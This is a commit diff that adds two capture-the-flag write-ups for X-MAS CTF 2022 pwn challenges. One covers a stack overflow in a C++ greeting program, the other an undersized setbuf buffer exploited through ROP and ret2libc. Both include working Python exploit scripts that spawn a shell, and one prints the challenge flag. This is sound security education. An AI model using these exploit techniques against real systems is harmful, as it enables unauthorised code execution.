diff options
-rw-r--r-- | docs/writeups/X-MAS_CTF_2022/Krampus_Greetings.txt | 220 | ||||
-rw-r--r-- | docs/writeups/X-MAS_CTF_2022/Santas_Complaint_Hotline.txt | 116 | ||||
-rw-r--r-- | scores.txt | 1 |
3 files changed, 337 insertions, 0 deletions
diff --git a/docs/writeups/X-MAS_CTF_2022/Krampus_Greetings.txt b/docs/writeups/X-MAS_CTF_2022/Krampus_Greetings.txt new file mode 100644 index 0000000..8d30509 --- /dev/null +++ b/docs/writeups/X-MAS_CTF_2022/Krampus_Greetings.txt @@ -0,0 +1,220 @@ +Krampus wanted to redeem himself for all the bad he has done across the years. +He wrote you [a] small program to craft the best Christmas greetings. He might +need to brush up his C++ skill though. + +Category: pwn (438 points) +Chall author: tomadimitrie +Writeup author: malfurious + + + +This challenge provides C++ source code for the vulnerable program (and a build +for reference). See the original source attached below this writeup. The clear +intent of the program is to take a string from the user and display it back to +them in a generated banner (lines containing a repeated character are added +above and below the echoed string). However, the way the program goes about +calculating the length of these 'banner border lines' is interesting... + +The program first asks for the single character to be repeated, then prompts for +a series of symbols (which come from a simple alphabet "ABCDEF"). The symbols +given by the user influence the total length of the border lines. After doing +this calculation, another function is called (GenerateGreeting) which actually +renders the output in a stack buffer; this is where the string to be echoed is +collected as well. + +The stack buffer that we build the output in is 2312 bytes in length (2336 bytes +from the stack frame base, according to r2). Only 128 bytes are read for the +echoed string, so we need to get the calculated banner string length close to +this size, so that we can use the direct message read to place our custom return +address on the stack. + + + +Pattern count algorithm +----------------------- +As mentioned earlier, a series of symbols determines the length of the repeated +character banner lines. The logic dictating this is as follows: + + - each character from the SYMBOLS string ("ABCDEF") corresponds to a power + of 3: + + A: 1 + B: 3 + C: 9 + D: 27 + ... + + - each character occurrence in the user input contributes that power to the + total. Put another way, the some of all like-symbols is the multiple of + that power: + + AABBC -> 2(A) 2(B) 1(C) -> 2*1 + 2*3 + 9 -> length = 17 + + - each symbol can appear no more than 3 times in the input + +However, there is a problem. Even if we give symbols for the largest possible +string according to these rules ("AAABBBCCCDDDEEEFFF") (the order doesn't +matter), we will only produce a banner of length 1092. This banner is included +in the output twice, along with our echoed string which is a max of 128 bytes. +This is 2313 bytes exactly, the defined length of the output buffer in the C++ +code. + +The trick is to utilize the implicit NULL-byte character that is placed at the +end of the SYMBOLS string constant used by the code (sizeof("ABCDEF") == 7)! +This would make any input NULL bytes equivalent to 3^6 or 729 under these rules, +allowing us to easily smash the stack. + +You'll see a helper function in my exploit code that calculates a suitable +symbol sequence from a desired banner length. In practice, the sequence I send +is: + + "\x00\x00\x00EDCCBB" + + + +Exploit +------- +With a method for smashing the stack in hand, let's move on to crafting our +exploit. The payload itself doesn't need to be too complicated, as the binary +gives us a convenient 'win' function to jump into (it's called "Flag", and just +calls system("/bin/sh")). + +During experimentation, I found that the memory near the bottom of the stack +frame can't just be carelessly blown away. Setting it all to 0x00 seems to +be ok, but using much higher valued bytes can lead to a crash. This chunk of +stack memory is written by the banner generation, so I can't just use 0x00 as +the byte to be repeated (as scanf("%c") disallow this). Instead I use another +arbitrary value as the repeated byte, but stop a little bit earlier at a +slightly smaller target banner length (in practice, the ideal length - 16). I +then just pad up my stack smash payload (with zeroes) to account for this. + +I pad out my write for the "symbol sequence" read with 0xff bytes, since 0x00 +corresponds to a valid symbol input (and I can only have 3 of them). + +The actual stack smash (a small ROP chain) requires a visit to one 'ret' gadget +to fixup stack alighment before returning to the Flag function, where we get a +shell. + + + +Solution (Python/sploit) +------------------------ +#!/usr/bin/env sploit +from sploit.payload import * + +def writefixed(data, size, pc): + if len(data) > size: + raise Exception("data too big for fixed write") + gap = size-len(data) + data += pc*gap + io.write(data) + +def getsymbols(n): + chars = [ b'\x00', b'F', b'E', b'D', b'C', b'B', b'A' ] + pows = [ pow(3, n) for n in reversed(range(len(chars))) ] + res = b'' + + for c, p in zip(chars, pows): + x, n = divmod(n, p) + res += c * x + + return res + +flag = 0x4011e7 # flag win function +ret = 0x40131d # ret gadget (stack alignment) +pad = (0x7fffffffdfa0-0x7fffffffd680)-17 # Sub 1 for '\n', Sub 16 for (see below) + +# It's important to keep the space near the base of the frame zero, +# or else things wont work. However, we can't use \x00 for the scanf +# write below, so just stop the symbol banner early and pad out the +# smash payload a little bit. + +symbols = getsymbols(pad) +smash = Payload().rep(b'\x00', 16).sbp().ret(ret).ret(flag) + +io.write(Payload.MAGIC) # scanf %c +io.write(b'\n') # getchar +writefixed(symbols, 511, b'\xff') # read(numberString) +writefixed(smash(), 128, b'\x00') # read(&output[cursor]) +io.interact() + + + +Original source (C++) +--------------------- +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> + +void Setup() { + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); +} + +#define SYMBOLS "ABCDEF" + +__attribute__((used, hot, noinline)) +void Flag() { + system("/bin/sh"); +} + +void GenerateGreeting( + char patternSymbol, + int patternCount +) { + char output[2312] = { 0 }; + int outputCursor = 0; + for (int i = 0; i < patternCount; i += 1) { + output[outputCursor++] = patternSymbol; + } + output[outputCursor++] = '\n'; + + printf("enter greeting: \n"); + outputCursor += read(0, &output[outputCursor], 128); + + for (int i = 0; i < patternCount; i += 1) { + output[outputCursor++] = patternSymbol; + } + output[outputCursor++] = '\n'; + + printf("%s\n", output); +} + +int main() { + Setup(); + + printf("enter pattern character: \n"); + char patternSymbol; + scanf("%c", &patternSymbol); + getchar(); + + printf("enter number of symbols: \n"); + char numberString[512]; + int readAmount = read(0, numberString, sizeof(numberString) - 1); + numberString[readAmount] = '\0'; + + int mappings[sizeof(SYMBOLS)] = { 0 }; + for (int i = 0; i < readAmount; i += 1) { + char current = numberString[i]; + int index = 0; + for (const auto symbol: SYMBOLS) { + if (current == symbol) { + mappings[index] += 1; + } + index += 1; + } + } + + int patternCount = 0; + int power = 1; + for (int i = 0; i < sizeof(SYMBOLS); ++i) { + if (mappings[i] > 3) { + abort(); + } + patternCount += power * mappings[i]; + power *= 3; + } + + GenerateGreeting(patternSymbol, patternCount); +} diff --git a/docs/writeups/X-MAS_CTF_2022/Santas_Complaint_Hotline.txt b/docs/writeups/X-MAS_CTF_2022/Santas_Complaint_Hotline.txt new file mode 100644 index 0000000..387be6e --- /dev/null +++ b/docs/writeups/X-MAS_CTF_2022/Santas_Complaint_Hotline.txt @@ -0,0 +1,116 @@ +Have you ever wanted to have a place where you could express your biggest +concerns about this year's X-MAS but didn't have a toll-free (taxes may apply) +telephonic service at your disposal? + +Well, this year Santa took care of that! + +Category: pwn (50 points) +Chall author: PinkiePie1189 +Writeup author: malfurious + + + +RE +-- +The scoreboard provides us with the executable, its libc binary, and +linker/loader. The application is not stripped, so we see the functions, +non-pic, so we have known memory addresses within it, and doesn't use stack +canaries. However, NX is set, so no shellcode. + +The application just contains a main function, which performs the rough outline +described below: + + - setvbuf on stdin and stdout, to disable buffering + - fopen /dev/null in write mode + - setbuf on the devnull file, to establish a buffer on the stack for use + - puts a welcome message + - while user input != "done" + - fgets stdin to a stack buffer + - fwrite that buffer to the devnull file handle + +The buffer used to collect intermediate user input is actually properly guarded +from buffer overruns by its fgets call, passing 0x200 for the size parameter. +We are only able to overrun the stack frame because the additional stack buffer +established by the prior setbuf call is not as long as libc mandates. + +From 'man setbuf': + + void setbuf(FILE *restrict stream, char *restrict buf); + + [The other three calls] are, in effect, simply aliases for calls to setvbuf(). + The setbuf() function is exactly equivalent to the call + + setvbuf(stream, buf, buf ? _IOFBF : _IONBF, BUFSIZ); + +BUFSIZ is the required size. + + + +ROP Exploit +----------- +When the program writes to /dev/null, it writes the entire 0x200-byte temporary +buffer, regardless of the amount of input received. So, our first couple writes +can be empty lines. It takes 3 batches of input to get close to the end of the +stack frame, and another 8 bytes to reach the saved RBP value exactly. You'll +see a helper function in my exploit code that abstracts this process. + +I attempted a ret2libc to execute system("/bin/sh") and acquire a shell. So, we +need to leak a libc address to calculate the mapped absolute addresses of the +system function and its "/bin/sh" argument. I acheve this by ROP-ing to call +the puts function with the address of the puts GOT entry as its argument (the +GOT entry is already initialized because puts was called earlier in the program +runtime). I finally return back to the program entry-point, to allow me to +re-exploit having gained the leaked address. _start is chosen, rather than main, +so that the stack is re-initialized and repaired from my damage. + +The second ROP chain is a straight-forward call to the library function, using +the addresses resolved from the previous leak. My exploit code also calls +exit(0) to attempt to exit cleanly. + +We require the use of a 'pop rdi; ret' gadget from the main executable, as well +as a simple 'ret' gadget, used at the beginning of the second ROP chain to fixup +the stack alignment prior to calling system. + +See my full sploit exploit script below. + +X-MAS{H07l1n3_Buff3r5_t00_5m4ll} + + + +Solution (Python/sploit) +------------------------ +#!/usr/bin/env sploit +from sploit.payload import * +from sploit.rev.elf import * +from sploit.arch import * + +b = ELF("./chall") +l = ELF("./libc-2.27.so") +poprdi = b.egad("pop rdi;ret") +ret = 0x00400886 # ret gadget + +def sendpld(p): + io.readline() + io.writeline() + io.writeline() + io.writeline(Payload().pad(8)()+p()) + io.writeline(b'done') + +# Leak libc address +sendpld(Payload().sbp() + .ret(poprdi).int(b.sym._GOT_puts) # puts(&puts) + .ret(b.sym._PLT_puts) + .ret(b.sym._start)) # goto _start + +leak = btoi(io.readline()[:-1]) # strip \n char +l.sym = l.sym.map(leak, l.sym.puts) # update libc mapping based on puts function + +# Get shell +sendpld(Payload().sbp() + .ret(ret) # stack alignment + .ret(poprdi).int(l.sym._bin_sh) # system("/bin/sh") + .ret(l.sym.system) + .ret(poprdi).int(0) # exit(0) + .ret(l.sym.exit)) + +io.interact() @@ -20,3 +20,4 @@ Metasploit Community CTF 2021 1300 22 /265 (727) picoCTF 2022 13100 140 /7794 angstromCTF 2022 2111 80 /1179 (1319) +X-MAS CTF 2022 1123 66 /816 (1451) |